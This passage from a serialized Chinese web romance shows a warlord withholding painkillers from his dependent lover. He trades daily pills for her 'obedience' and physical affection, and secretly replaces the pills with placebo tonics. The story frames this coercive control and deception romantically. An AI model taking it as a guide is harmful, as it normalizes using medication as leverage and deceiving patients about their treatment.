“苏小姐，药可不能乱吃。” 她被迫收回手，一抬头，就看见了于修明那张脸。 他已经回来了。 苏姚没想到医疗室竟然会有人戒备，既然已经被发现，想遮掩也来不及了，她抬手就去抢：“把药给我！” 于修明不敢真的动手，也不敢用枪，被逼得节节败退，可很快，副楼的其他人也被引了出来，将门口堵得水泄不通。 医生连忙劝阻：“苏小姐，冷静，冷静啊，那药瓶是空的，少帅下了令，所有止疼药都被收起来了，你拿到也没用。” 苏姚一把推开于修明，打开药瓶看了一眼，果然是空的。 萧纵…… 她浑身颤抖，指尖狠狠扎进掌心里，可她所有能拿到药的路径，都被堵死了。 今天如果发作，她除了生捱，没有任何办法。 她失魂落魄地往外走，一出副楼的门，却看见男人就站在副楼门前抽烟，目光遥遥看了过来。 他猜到了苏姚要做什么，所以早早地等在这里看戏。 他冷静又从容地，看着她垂死挣扎。 王八蛋。 她无声地骂了一句，连质问的心气都没有，转身就去了凉亭。 萧纵愣了一下，很快抬脚追了上去。 苏姚已然靠在了凉亭里，是她常坐的那个位置，整个人能完全地沐浴在阳光下，皮肤却泛着病态的苍白。 萧纵看得皱起眉头，忽然觉得这座凉亭很刺眼，似乎每次苏姚来这里，脸色都不好看。 拆了算了。 他心里对着凉亭发了一通邪火，这才开口，“你别怪我把事情做得太绝，今天葛先生又来给你诊脉了，你的药毒又严重了一些，身体机能严重受损，你真的不能再吃药了，而且……” 他抬手搭在苏姚的腿伤上，“你疼是心理作用，你不去想，就不会疼了……” 苏姚抓住他的手，慢慢挪开，“你能离开吗？” 萧纵眼神发沉，又是这幅样子，先前的话真是白说了。 “苏姚，我耐心有限，你……” 他话音忽地一顿，因为他看见苏姚手背上起了红疹，“你过敏了？” 他顾不得两人还在生气，连忙喊了医生过来。 苏姚没有阻拦，只也垂眸看了眼自己的手，其实颈侧的红疹更多，都是因为她吃了那一口蛋糕。 她知道自己吃下去会过敏的，可她没吃过萧茵做的东西，所以还是咽了下去。 反正只有一点，也就是起些红疹子，没关系的。 她收回手，仍旧不肯理他。 萧纵堵了口气，好在医生很快就跑了过来，拿了过敏药给她吃。 苏姚看着那药不动，半晌才开口，“能不能把过敏药，换成止疼药啊？” 医生从来没被问到这种问题，一时有些愣神。 萧纵却彻底怒了，“苏姚，你有完没完？我要说多少遍你才能听进去？你不能再吃止疼药了。” 苏姚叹了口气，合上眼睛，靠在柱子上，木偶一样继续晒太阳。 萧纵一拳打在棉花上，气得脸色扭曲，转身走了。 医生看看这个，又看看那个，拿着药箱要走，药箱的带子却猛地被拉住，不等医生反应过来，她已经将药箱抢了过去，开始在里面翻找。 “苏小姐，” 医生无奈开口，“我没带止疼药出来，您不用找了。” 苏姚充耳不闻，仍旧将药箱翻了个遍，才无力地靠回了凉亭里。 她其实猜到了药箱里没有，只是不死心而已。 她不自觉蜷缩起身体，昨天只有两片药的时候，她都差点没撑过来，要是今天一片药都吃不到…… 她眼神木然，靠在凉亭里，连站起来的力气都没了。 医生见她不再说话，连忙收拾好药箱走了。 天色慢慢暗下来，阳光自她身上划过，毫不留情地消失在天际。 她仍旧蜷缩在长椅上，动都没动。 “回去吧，天都要黑了。” 萧纵不知道什么时候又来了，站在身边垂眸看着她，“不是怕黑吗？别为难自己。” 苏姚终于睁开眼睛，“要怎么样，你才能给我药呢？” 萧纵眉头皱紧，又是这个话题，真是没完没了。 “死心吧，怎么都不会给你。” 苏姚叹了口气，她就知道是这个结果，只是还是不死心地问了。 现在可以死心了。 她再次闭上眼睛，扭开了头。 “你！” 萧纵满脸恼怒，他这辈子，还没被人这么甩过脸子，他是真的不明白，苏姚为什么就听不懂人话，明知道药对身体有害，怎么就非要吃？ 这章没有结束，请点击下一页继续阅读！她是活腻歪了吗？ “不想走就呆在这里吧，天黑了怕的又不是我。” 他恶狠狠地丢下一句威胁，转身就走。 可很快，凉亭的灯就打开了，帅府的后院再次灯火通明。 只是苏姚毫无感觉，她所有注意力都在自己的腿上，她在等，等那股锥心的痛楚今天会不会来。 似乎是知道她没有药，几乎是念头刚落下，刺骨的痛楚就涌了上来。 她疼得一抖，抬手去摸伤处，触手却一片麻木，仿佛摸到的并不是她自己的腿。 她有些恍惚，一时竟分不清楚，自己是不是真的在疼，身体却控制不住地战栗起来。 “苏小姐，” 一道熟悉的声音忽然传了过来，萧翼端了茶点过来，“吃点东西吧。” 苏姚骤然惊醒，这才发现，她刚才只是做了一个万分痛苦的梦而已。 可即便醒了，痛苦的威胁也仍旧在头顶盘旋。 她没胃口，不想吃饭，也不想说话，她扭开头，只当没听见。 手心里却被塞进了一个不大的药瓶，那药瓶她摸过无数次，触感熟悉的几乎是一瞬间就知道了那是什么。 她浑身一颤，猛地攥紧。 “嘘，” 萧翼低声开口，“我昨天走得慢，听见你和少帅拿药，他不知道你的腿疾，可能不会太配合，但你放心，我会定时给你的。” “……谢谢。” 苏姚紧紧攥着药瓶，许久后才哑声开口，因为激动，她声音都在颤抖，她真的没想到，萧翼会帮她。 “我，我会还你钱的……” “别这么见外。” 萧翼语气酸涩，止不住的疼惜，却不敢表现出来，只能克制着开口，“有什么事，你只管找我，我一定尽力帮你。” 他不敢久留，话音落下就转身要走。 可却透过厨房的玻璃窗，看见了一道熟悉的身影。 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第108章 我要你听话 他浑身一颤，冷汗瞬间冒了出来。 “少，少帅？” 他不知道萧纵什么时候站在窗前的，也不知道他有没有看见自己刚才给苏姚送药，可在看见他的瞬间，却本能地产生了畏惧。 男人慢慢从餐厅绕了出来。 这段距离不算近，至少要走上五分钟。 可在这五分钟里，萧翼却被封印了一般，僵在原地，动都没敢动，直到男人高大挺拔的身影慢慢出现在眼前，他才喉结一颤，再次开口：“少帅，我……” 萧纵活动了一下手腕，一拳打在他脸上，眼见人踉跄着后退了好几步，这才冷冷开口：“我怎么下的令？” 萧翼吐出一口血沫，重新站直了身体，低声重复，“收起府里所有的止疼药，不准让苏小姐碰到。” “那你在干什么？” 萧纵厉声质问，萧翼艰难开口，“少帅，苏小姐她真的需要止疼药……” “那天葛先生诊脉的时候，你也在吧？” 萧纵打断了他的话，萧翼没有反驳，那天他的确也在。 “那你应该知道，她不能再吃药，你以为你是在帮她吗？你是在害她！” 萧纵的话掷地有声，听得萧翼羞愧难当，可是他真的看不了苏姚被腿疾折磨。 “少帅……” 他艰难开口，“少吃一点吧，就让苏小姐少吃一点……” “早知道你这么没定力，我当初就不留你了。” 萧纵冷声开口，一句话堵住了萧翼所有的求情。 他没敢再开口，萧纵也没再理会他，绕过他走到了苏姚面前，朝她伸出了手，“把药给我。” 苏姚死死攥着药瓶，她没有跑，是因为很清楚跑不掉。 可她不会给他的，绝对不会给他。 她缓慢又坚定地摇头，“不给。” 似是这个答案萧纵也预想到了，并没有露出丝毫意外来，只伸手就来抢夺药瓶，可下一瞬，他手腕上就又被咬了一口。 “苏姚！” 他咬牙切齿地开口，“别逼我和你动手。” 苏姚充耳不闻，整个人蜷缩在一起，死死抱着那瓶药。 仿佛那不只是一瓶止疼药，而是什么救命的仙丹。 萧纵看了她一眼，竟有些无从下手，眼见佣人和警卫被这里的动静吸引了过来，他下意识挡了挡苏姚因为动作而裸露在外的腿。 “都下去。” 他侧身挡了挡众人的视线，沉声开口，刚才聚过来的人，又呼啦啦退去，只剩了萧翼还站在原地。 “你也下去。” 萧纵沉声开口，萧翼却没动：“少帅，你不能和苏小姐动手。” 萧纵怒极：“我们之间的事情，什么时候轮得到你来插嘴。” 萧翼默然，看了眼苏姚，犹豫许久还是退了下去。 四下无人，凉亭里清净下来，萧纵才再次伸出手，“苏姚，趁我没有生气，把药给我。” 苏姚的回答是将身体蜷缩得更紧。 萧纵的耐心彻底告罄，一把摁住了苏姚的肩膀，抬手就去她怀里抢夺。 长椅狭窄，两人很快就从长椅滚下来，摔在了地上，可苏姚仍旧没有松手的意思，她甚至不管不顾地趴在了地上，满身的狼狈，连精心保养的指甲都崩断了。 萧纵怕弄伤她，不敢下狠手，一时竟进退两难。 半晌，他还是咬了咬牙，将人从地上提起来，一把钳制住她的手腕，强行将她的手从怀里拉了出来。 眼看着药瓶近在咫尺，他伸手就去拿，耳边忽然响起一声清脆的巴掌声。 场面瞬间静止。 萧纵愣在原地，半晌才回过神来，抬手摸了下脸颊。 他被苏姚打了。 浑身控制不住地颤抖起来，“苏，姚！” 他咬牙切齿地开口，他这辈子，第一次被打耳光。 他那畜生老子，都没敢这么和他动手。 怒火越烧越旺，胸腔几乎要炸开，他猩红着双眼看着苏姚，再次钳制住她的手腕，苏姚似是察觉到了危险，更紧地握住了药瓶，随着一声轻响，药瓶在激烈的争夺中，已经伤痕累累，此时被这么狠狠一攥，瞬间开裂，白花花的药片散了一地。 苏姚动作一滞，随即猛地俯下身，捡起药片就往嘴里塞。 萧纵浑身的火气瞬间冷凝，他再不敢动，“我不抢了，你别咽！” 苏姚含着一嘴药僵在原地，惊疑不定地看着他。 萧纵头一回如此无力，“你就这么想要止疼药？” 苏姚毫不迟疑地点头，萧纵抬手掐了掐眉心，许久后才深吸一口气，“好，我给你。” 苏姚眼底都是狐疑，没有半分信任。 “我没必要骗你，你先把药吐出来，以后我会每天给你两颗。” 苏姚不明白他为什么会忽然改变主意，她很清楚自己根本没有威胁他的筹码，但这个条件对她来说很诱人。 两颗虽然不够压制疼痛，但至少不会让她疼死。 她慢慢把药吐了出来，却紧紧攥在了手心里。 萧纵松了口气，往前走了两步，却没敢靠太近，随即半蹲下来，再次朝她伸出手：“我可以给你药，但你要先把这瓶给我。” 苏姚再次警惕起来。 “你要想清楚，” 萧纵开口，“一瓶药只有三十粒，半个月就没了，但你在帅府的日子还长，哪个更划算，你知道的。” 苏姚垂着头没说话，萧纵算错了，一瓶药吃不了半个月，发作频繁的话，五六天就没了。 可她还是不敢相信，犹豫着开口：“条件呢？” 她想知道，萧纵为什么忽然改变主意。 “听话。” 男人的回答毫不犹豫，“只要你和两年前一样，安安稳稳地呆在我身边，我保证，会按时给你药。” 只是给的是不是止疼药，就是他说了算了。 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第109章 换药 “成交。” 苏姚没有任何犹豫，立刻就答应了下来。 因为萧纵如果不愿意做这样的交换，那她也没有任何办法。 她倒了两片药出来，随后才把剩下的交出去，“这是今天的。” 萧纵没有计较，多吃两片，少吃两片，影响没有那么大。 他将散碎的药片揣进衣袋里，虽然被气得厉害，可他还是再次朝苏姚伸出手：“现在，可以跟我回去了吗？” 看着那只手，上面还残存着自己咬下的牙印，几乎是一眼，就让她回想起了昨晚的绝望和崩溃。 她好讨厌这个人，真的想，再也不要看见他…… 可她还是将手放了上去。 她需要药。 几乎是手一被放上去，就被男人紧紧握住了，萧纵原地站了几秒，才拉着她往回走。 客厅里热闹得有些过分，为了庆祝秦芳年回来，萧茵特意准备了一个欢迎仪式。 所以苏姚一进门，就见客厅里已经系满了彩带，厨房也做好了甜点，佣人和萧茵正围着秦芳年在说话。 苏姚看了一眼萧茵，她的注意力都在秦芳年身上，根本没注意到她。 心里有些说不出来的酸楚，又觉得自己很莫名其妙，她不想再看，抬脚就要上楼。 手腕上的力道却加重，强行将她拉住了。 “不会这么快，你就忘了刚才的话了吧？” 萧纵沉声开口，虽然为了安抚苏姚，他答应了每天按时给她药，可心里却是有气的，他要让苏姚知道，药这东西，不是那么好吃的。 “陪我用晚餐。” 他语气冷淡，却不容拒绝。 苏姚紧了紧手里抓着的药片，低声开口：“让我收拾一下吧。” 萧纵这才看向她，刚才那一番折腾，她浑身狼狈，旗袍都被撕破了。 的确该去收拾一下。 “我陪你上去。” 他再次开口，好在这次苏姚很识趣，带着他就上了楼。 她将药片仔细地包好，放在了床头的柜子里，关上抽屉的时候，她扭头看了过来，“你不会再拿走的，对吧？” “只要你听话，我就不会反悔。” 男人语气有些冷淡，还带着恼怒的余威。 但苏姚没在意，她已经得到了想要的答案，别的都不计较。 她换了衣裳，重新梳了头发，难得的还在脸上涂了一层胭脂，这让她的脸色看起来好了很多，可萧纵看着，却总觉得单薄。 是没戴珠宝的原因吗？ 念头一闪而过，他拉着苏姚下了楼。 佣人们将钢琴从琴房里抬了出来，这时候满屋子的人，都围在钢琴旁听秦芳年弹奏。 苏姚的脚步不自觉顿住，忽然想起初见秦芳年的第二天，在琴房里看见她和萧纵连弹的画面来。 “少帅不去吗？” 她盼着对方能离开，让她自己待一会儿，说不定她还可以避开人群，去和萧茵说几句话。 男人却是一声冷笑，他显然明白苏姚的意思。 “都做了交易了，还这么不老实？” 他冷冷开口，苏姚越是这么把他往外头推，他越是想靠近她。 他不顾那么多佣人在场，将苏姚抵在楼梯的栏杆上，侧头在她唇边亲了一口。 但很快，亲吻就变成了啃咬，带着惩罚的意味。 琴声不知道什么时候停了，秦芳年的惊呼声响起来：“哎呀。” 萧纵被打扰了兴致，满眼暴躁地看了过去，却见秦芳年捂住了自己的眼睛，连萧茵的嘴也捂住了，“小孩子不能看这些，会长针眼的。” 萧茵拉开她的手，“你也太少见多怪了吧，我一直看……” “正经人怎么会让你看见这些？” 秦芳年嘀咕着开口，“这都不正经，你不要学。” 萧茵被说得愣了一下，抬头朝苏姚看了过来。 她其实什么都没说，苏姚的脸颊却在这一瞬间火辣辣地烫了起来。 “再让我听见你阴阳怪气，我保证你活不到明天。” 萧纵冷冷开口，满脸的阴沉暴戾，打从知道秦芳年什么也不是之后，他对她，就连装都懒得装了。 秦芳年吓得一抖，白着脸往萧茵身后藏了藏。 萧茵看看秦芳年，又看看苏姚，神情逐渐复杂。 “吃饭。” 萧纵沉声开口，抬手去拉苏姚。 几乎是下意识的，苏姚就躲了一下，却换来的是更强硬的力道，萧纵不止将她拉到了身边，还直接揽住了她的腰。 “怎么，以前怎么样都行，现在拉个手都不愿意？” 他心里是翻涌的火气，以往苏姚的拒绝他能当成情趣，可现在他很清楚，她的每一次躲闪，每一次抗拒，都是发自内心的。 越是这样，他越是愤怒。 好在，给药虽然是逼不得已做出的选择，却也成了他的筹码。 “苏姚，你要是不喜欢，交易随时能作废。” 苏姚身体明显僵了一下，短暂的沉默过后，她微微倾斜了身体，靠在了萧纵身上。 “这才对。” 萧纵看似赞扬，心里却没有半分欢喜，他知道，苏姚是被迫的。 但没关系，迟早苏姚会适应的。 晚餐十分丰盛，也不知道厨房是得了萧茵的吩咐，还是也真心欢迎秦芳年回来，所以特意准备的。 但萧纵不在意这些细节，他看了眼沉默的吃白饭的苏姚，夹了筷子鱼肉递到了她嘴边。 苏姚很明显地愣了一下，回神后却也只是看着他，并没有要张嘴的意思。 “不想吃鱼？” 他换了松茸，再次递到了苏姚嘴边，动作看似宠溺，可苏姚却从他眼底看见了强硬。 她静默片刻，还是张开了嘴。 眼见萧纵来了兴致，还要给她夹菜，她连忙开口，“我自己吃。” 萧纵充耳不闻，仍旧又夹了筷子牛肉过来，“来，张嘴。” 苏姚和他对视一眼，想起了他那句“听话”。 这也算是听话的一部分吧。 她合了下眼睛，再次张嘴吃了进去。 一顿饭吃得如坐针毡，等萧纵放下筷子的时候，苏姚只觉得劫后余生。 她连忙站了起来，“我先上去了。” 这次萧纵没有拦她，他还有事情要吩咐。 苏姚快步出了门，萧纵在餐厅里抽了根烟，才出来拨了个电话，金锦很快进来，“少帅，有什么吩咐？” “你去让医院做点药出来，和这种止疼药一个模样。” 他从衣袋里掏出刚才从苏姚哪里拿到的止疼药。 金锦替苏姚买了很多次，一眼就认出来了：“这不是苏小姐吃的那种吗？” 萧纵眉心一蹙，他的这些副官们，真是一个个的不省心，明知道苏姚吃止疼药，不拦着就算了，竟然还都帮着她买药。 他压下火气，“知道是她吃就给我用点心，随便用点人参鹿茸什么的，做成这个样子，把药给她换了。” 金锦脸色有些一言难尽，“您这么骗她，万一出事……” “她继续吃这个药才会出事。” 萧纵有些烦躁，“又不是真的疼，骗一骗就好了。” 金锦无言以对，只好答应一声，下去安排了。 第110章 人心善变 这一宿，苏姚难得幸运，腿疾没有发作，她一觉安安稳稳地睡到了天亮。 可第二天一下楼，看见秦芳年的瞬间，她的脸色就又不好看了起来。 “秦小姐。” 她沉声开口，这还是她第一次主动找秦芳年。 秦芳年正一边帮着女佣擦拭家具，一边教她念诗，听见苏姚的声音，立刻抬头看了过来，眼神十分古怪地打量了她一眼：“苏老板啊，找我有事。” “有些话，想和你单独聊聊。” 她沉声开口，佣人见气氛不对，连忙端着水盆走了。 客厅里只剩了两个人，苏姚这才开口：“你想用什么手段争夺少帅都可以，但只有一条我不能忍，我不允许你在茵茵面前说我的坏话，她是我一手带大的，我不允许你挑拨我们的关系。” 秦芳年忍不住笑起来，“苏老板，说话要讲良心啊，你对茵茵好，就是含辛茹苦，一手带大，我对她好就是挑拨离间了？都是千年的狐狸，你在我面前演什么聊斋？谁不知道你对茵茵好，就是为了留在帅府？” 苏姚被这句话气得浑身发抖，她当初对萧茵好，的确是因为想要讨好萧纵。 可是人心都是肉长的，她整天带着她，喂她吃饭，给她穿衣，她登台的时候，小小的孩子就在底下拼了命地鼓掌。 她眼看着萧茵从一个小肉团，长成如今的少女，她怎么会没有真心实意？ 对自己而言，她就是这世界上唯一的亲人。 “我们的关系，轮不到你来定义，我警告你……” 她眼神阴沉，“你要是再敢挑拨离间，我绝对不会放过你。” “这么吓人啊？” 秦芳年缩了下脖子，声音忽然低了下去，“可我说错了吗？你本来就不是正经人，你什么都不会，全靠着男人生存，人活成你这样子，多失败啊，茵茵现在就是小，等她再大一些，不用别人说，她也会嫌弃你的。” 苏姚被戳中了最隐蔽，最自卑的痛点，再也忍不住，高高抬起了手。 “苏姚？” 萧茵的声音忽然在楼上响起，她侧头，就看见萧茵站在二楼的拐角处，惊讶地看着她，“你在干什么？” 苏姚指尖蜷了一下，还不等解释什么，秦芳年先开了口，“茵茵快来救我，我也不知道为什么，大早上苏老板就看我不顺眼……” 苏姚没再迟疑，一巴掌落了下去。 当着她的面就挑拨离间，私下里，她都不敢想秦芳年会和萧茵说什么。 秦芳年捂着脸，不敢置信地看着她，苏姚揉了下手腕，“我会让你离开帅府的。” 秦芳年神情变幻不定，萧茵却冲了下来。 “你怎么能打人？！” 她不敢置信地推了苏姚一把，“你现在怎么变成这样了？你现在这样，和我爹后院的那些女人有什么区别？” 话音落下，她拉着秦芳年就走。 苏姚被她推得一个趔趄，险险扶住了栏杆，脚腕却传来钻心的痛楚。 “茵茵？” 她没顾得上查看，看着萧茵的背影喊了一声，但两人的身影还是消失在了琴房里。 她一时愣在原地，心里说不出来的恍惚。 一手带大的孩子，什么时候开始，这么护着别人了？ 她忽然有些没力气，索性坐在了台阶上，目光却仍旧看着门外，迟迟没能收回来。 “你真是让我不知道说什么好。” 萧纵懒洋洋的声音忽然响起来，他慢慢走过来，也不知道看了多久的戏。 “萧茵那边有什么好争的？” 他啧了一声，半蹲下来抓住了苏姚的脚腕，轻轻摸她的骨头，“等茵茵再大一些，就会知道权衡利弊，出身也好，过去也罢，都没有任何意义，只要你对她有用，能帮她，她就会对你好，何必因为秦芳年几句话就方寸大乱？” 苏姚看过去。 她承认，萧纵这些话没错，人本就是这般现实的。 可萧茵是他的亲妹妹啊。 “别这么看我。” 萧纵抬手揉揉她的耳朵，苏姚侧头避了避，却没能避开，仍旧被那粗糙的指腹将耳垂揉得通红。 男人这才再次开口，“你要做的很简单，哄着我，你在我这里有了分量，就是在海城有了分量，有分量，才会得到尊重，所以，苏姚，你的注意力，应该在我身上。” 苏姚嘴角一扯，满心嘲讽。 她没全心全意地对过萧纵吗？ 可结果是什么呢？ 是阶下囚一样被禁锢在这座宅子里；是每天一睁眼就要承受痛苦侵袭的恐惧；是随时都会到来的酷刑似的后遗症。 “你和茵茵，怎么比啊……” 她低声呢喃，声音很轻，她只想说给自己听。 可捏着她脚腕的那只手，还是轻轻地顿了一下，只是下一瞬就恢复如常。 “没有伤到筋骨，只是崴了一下，起来吧。” 他将苏姚拉起来，“早上珠宝行送了些东西过来，去试试，当然……” 他补充道，“暂时不会放在你哪里，免得你又生出什么心思来。” 苏姚不想去，珠宝如果不能变成钱，买成药，对她来说，就没有任何意义。 她转身就往楼上走，“我脚还有点疼，我想去休……” “苏姚，” 萧纵打断了她没来得及说完的话，声音冷沉，“今天的药，还没给你吧？” 苏姚动作顿住，转身看过来，她什么都没说，眼神却将意思表达了个透彻。 要威胁她到这个地步吗？ 萧纵没有回避她的目光，只朝她张开了胳膊，意思十分明显，“来我怀里。” 第111章 没有万一 苏姚在原地僵了一会儿，终究还是在腿疾发作的恐惧前败下阵来。 她慢慢下了楼，抓住了萧纵的手，下一瞬，她就被男人拽进了怀里。 体温隔着单薄的衣服传了过来，萧纵将人抱得更紧，侧头亲了亲她的发顶，动作明明那么温柔旖旎，可他眼底却全是侵略性。 苏姚，你一定要尽快适应，因为这会是你往后每天都要做的事情。 亲近我，取悦我，依赖我。 他又亲了亲苏姚的额头，拥着她去了会客厅，里头仿佛一个小型的珠宝展览会，比苏姚卖出去的那些珠宝要多得多。 “我让人专门收拾了个房间，用来放你的东西。” 萧纵说着将她摁坐在椅子上，拿起一条珍珠项链，戴在她颈侧，似是觉得太单薄，便又加了一条红宝石项链，语气始终漫不经心，“钥匙在管家手里，这些东西你可以穿戴，可以送人，不喜欢了也可以扔了卖了，但是得来的钱，我不希望留在你手里。” 苏姚看着虚空，显然一个字都没有听进去。 “放心，虽然你手里没钱，但你想要什么都会有人送到你手里。” 萧纵再次开口，说着又拿起一副坠子，动作轻柔地戴在她耳间。 “好看。” 他称赞了一句，眼底都是欣赏，他不得不承认，苏姚很适合珠宝，不管什么样的首饰戴在她身上，都能平添几分光彩。 她太适合坐在这里，被人装扮了。 “再做几套新衣服吧？” 他对女人的衣服了解得不多，但知道新出了很多洋装，很适合苏姚。 “对了，” 他忽然想起了一茬，抬手摸了摸苏姚的发丝，“现在海城好像新流行了一个卷发，和你这种不一样，带你去烫一个？” “怎么，我现在可以出去了？” 苏姚终于开口，语带讥讽，萧纵不喜欢她这种语气，他还是更喜欢温柔小意的苏姚，但看着她那略带锋利的眉眼，又生了点新鲜感，甚至越看越喜欢。 他不自觉摩挲了一下苏姚的脸颊，“你这幅样子，倒也别有风韵。” 他往苏姚手上套了个镯子，摩挲着她手上的戒指轻声开口，“有我陪着，你当然可以出去，以后你出去，我都陪着你怎么样？” “不怎么样。” 苏姚下意识拒绝，萧纵冷了脸，垂下眸子看着她。 虽然他没说话，但苏姚还是看出了他隐藏的威胁。 “……好。” 她闭上眼睛，不想再看他。 萧纵毫不在意，弯下腰在她发顶落下细密的亲吻。 “你不是喜欢地理吗？我给你请了个老师，他之前是个战地记者，你可以听他给你讲很多外头的事情。” 他缓下声音，诱哄似的开口。 苏姚满心嘲讽，“少帅是不是忘了，我字还没认全呢，他说的话，我未必听得懂。” “如果你听不懂，就是他无能。” 萧纵将她的发丝往耳后理了理，在她耳垂上轻轻揉捏起来，“我会给你再换一个老师。” 苏姚不想和他继续待下去了，不管那个老师说的东西她能不能听懂，都比呆在这里要好。 “他人呢？” “在茶室等你，你可以一边喝茶，一边听他给你讲故事。” 苏姚转身就走。 萧纵却又把她拉了回来，“谢礼呢？” 苏姚被他气得呼吸急促，“不是我求你请的。” 萧纵不辩解，只看着她，加重了语气，“谢礼。” 苏姚指尖攥起来，被气得微微发抖，她是真的不明白萧纵最近在抽什么风，不许她走，还总是逼着自己靠近他，纠缠他。 他明明以往很厌恶自己这样。 “需要我重复第三遍吗？” 萧纵再次开口，声音微不可查地冷了几分。 苏姚呼吸急促，可想起腿疾发作时的痛苦，还是踮起脚，在他唇角敷衍地亲了一口，但在她要退开的时候，腰却被紧紧箍住，男人反客为主，在她唇上发了狠的啃咬，等松开的时候，她嘴唇红肿，一眼就看得出来刚才干了什么。 “去吧，回头我得闲，带你出去看电影。” 苏姚没回答，转身快步进了茶室。 管家从二楼下来，看了眼苏姚离开的方向，开口禀报：“房间收拾好了，现在就搬吗？” “嗯。” 萧纵随口答应一句，“金锦一回来，就让她来见我。” 他说着上了楼，这几天被苏姚勾着，他已经把军务都挪到家里来处理了，但和以往的清闲不同，总统派了人来，就意味着海城要不太平了，他也不敢再把军务大咧咧地放在客厅里。 所以他现在都在书房处理。 晚上的时候，金锦才提着个箱子回来，满脸的疲惫，身上的军装皱巴巴的，一看就是穿了一宿没换。 “少帅，属下回来复命。” 得了萧纵的允许，她才推门进去，却是一开门，就被浓烈的烟味呛得咳了一声：“少帅，您是打算升仙吗？” 萧纵没理她的抱怨，目光落在她手里的箱子上，“带回来了？” “连夜做的，医生调配了一些滋补的药材，您过目。” 她将箱子放在书案上，打开给萧纵看，随即起身去开了窗户。 烟味散了些，但仍旧刺鼻得很，金锦受不了，只好也给自己点了根烟。 萧纵倒是将烟掐灭了，拿起药片看了一眼，又和之前的比对了一下，不能说是一模一样，但那么细微的差别，寻常人根本看不出来。 “做得不错。” 他赞许了一句，金锦神情却十分复杂，“少帅，您真的打算换药吗？万一……” “没有万一。” 萧纵一口打断她，“她就是心理作用。” 第112章 见到我应该干什么 或许是出于担心，第二天金锦总是找借口来主楼，进来就盯着苏姚看。 苏姚正在茶室里，拿着字典看老师留下的地理杂志，察觉到她的目光，侧头看了过来，“金副官，找我有事吗？” 金锦哪里敢拆萧纵的台，闻言立刻摇头，随便找了个借口：“没有，是瞧着苏小姐这两天气色不错。” 苏姚有些不知道说什么好，虽然她已经好些日子没有仔细看过自己了，但想也知道，整天被痛苦折磨的人，气色能有多好，也不知道金锦是怎么夸的出口的。 但她也没较真，抬手给金锦倒了杯茶，“金副官喝杯茶吧。” 金锦顺势坐了下来，拐弯抹角地打听她昨天有没有吃药。 “听佣人说，苏小姐昨天没睡好，是不舒服吗？” 苏姚端着茶杯的手顿了顿，昨天夜里她的确又发作了一回，将前天留下的两颗药吃了，虽然作用不大，可到底也是撑了过来。 其实，她想着将四颗药全都吃了的，可犹豫了几次，还是没有动昨天的药。 她怕万一哪天连着发作两次，她会连个准备都没有。 “做了个噩梦而已，已经没事了。” 金锦没得到自己想要的答案，心里有些失望，再次开口，“苏小姐好些日子没找我买药了，是身体好了吗？” 苏姚抬头看了她一眼，萧纵拿走她药的事，已经闹了好几天了，她不相信金锦不知道，这么拐弯抹角的—— “金副官想问什么？” 金锦有些尴尬，刚才话一出口，她就知道自己问了个很蠢的问题。 “我没有别的意思，” 她掩饰性地咳了一声，却不敢提药的事，“只是担心你，吃了那么多药，身体有没有不适？葛先生说，你还是少吃点药……” “我一切都好，多谢关心。” 苏姚微微一点头，打断了金锦一听就很虚假的话，她不知道金锦来说这些是因为萧纵的命令，还是她想主动为上封分忧，但不管是哪一个，她都不想继续这个话题。 在她不得不吃的时候，别人告诉她这样不好，这样有害，除了让她厌烦之外，对她毫无意义。 “金副官要再来一杯吗？” 她说着端起茶壶，可金锦杯子里的茶并没有动过。 这就是送客了。 金锦又打量了苏姚一眼，见她的确没什么问题，识趣地起身，“我还有些军务，就告辞了。” “金副官，” 苏姚跟着站起来，犹豫着开口，“萧副官，没事吧？” 金锦被问得愣了一下，萧翼？ 苏姚怎么会忽然问起萧翼的事情？ 她不知道萧翼对苏姚暗地里的心思，更不清楚昨天萧翼送药的时候被萧纵抓了个正着，却仍旧给出了肯定回答，“他昨天挨了几鞭子，没什么大事，怎么了？” 苏姚蜷了下指尖，既羞愧又难堪。 “请你，代我和他说句抱歉。” 金锦诧异地睁大了眼睛，却什么都没问，转身出了门，她径直去找了萧翼，一进门却发现萧纵也在。 “少帅？” 萧纵瞥了她一眼，“又去主楼盯着苏姚了？” 金锦尴尬地笑了一声，萧纵吐了个烟圈，“她有问题吗？” “没问题，看来还是少帅英明神武，是属下杞人忧天了。” 金锦连忙拍了个马屁。 萧纵垂眸看向萧翼，“听见了吗？她吃了补身药，也没有问题，你还不觉得自己错了吗？” 萧翼正趴在床上养伤，这鞭子是萧纵因为他自作主张罚下来的，不算重，他领的并没有怨言，但对于药的事，他仍旧满心忧虑。 任谁看见过苏姚发病的样子，都不会以为那只是心理作用。 “少帅，哪怕给一颗真的也好。” 他开口求情，萧纵满脸的不耐烦，什么都没说，转身走了。 萧翼起身就想去追，却被金锦拦住了，“你怎么回事？什么时候这么没分寸了？少帅和苏小姐的事，是你能插嘴的吗？” 她又想起苏姚的话，眉头皱了起来，“还有，刚才苏小姐让我替她和你说声抱歉，你们什么时候这么熟识了？” 说着，她似乎意识到了不对劲，脸色大变，“别告诉我，你动了……” “少帅已经知道了。” 萧翼扶着床慢慢坐了下来，金锦脸色十分精彩，片刻后，感慨道：“你还真敢想啊，苏小姐能看上你什么？” 萧翼攥紧了拳，他知道自己比不上萧纵，但是—— “至少，我不会怀疑她在装病。” 萧纵猛地打了个喷嚏，莫名其妙地看了周遭一眼，抬脚回了主楼。 苏姚蜷缩在茶室的沙发上，手里的地理杂志摇摇欲坠。 他呼吸一顿，心头骤然痒了起来。 苏姚这是想开了吗？ 大白天的就勾引他。 说来也奇怪，明明苏姚进帅府的时候年纪还小，可她勾人的本事却仿佛天生的，手段层出不穷，总是让人欲罢不能，也就是他自制力强才能克制，换成旁人，怕是早就要被勾的荒废正事了。 他心里啧了一声，放轻脚步走了过去。 苏姚呼吸平缓，睡得昏沉。 他弯腰看了好一会儿，才按捺不住亲了上去。 下一瞬，苏姚猛地睁开眼睛，抬手推了他一把。 他没有防备，被推得后退两步，刚才的旖旎心思瞬间散了。 他啧了一声，看向苏姚，却见她的眼睛在看见自己的瞬间，就染上了一层防备和警惕，甚至还多了些怨怼。 这前后的反差太大，刚才还算不错的心情瞬间沉了下去，他眼神一冷，“苏姚，我不想每次都提醒你，你的药在我这里。” 苏姚心头一颤，指尖紧了又松，松了又紧，最后她还是敛起神情，缓和了声音，“你下次，别罚别人了，是我自己的问题。” 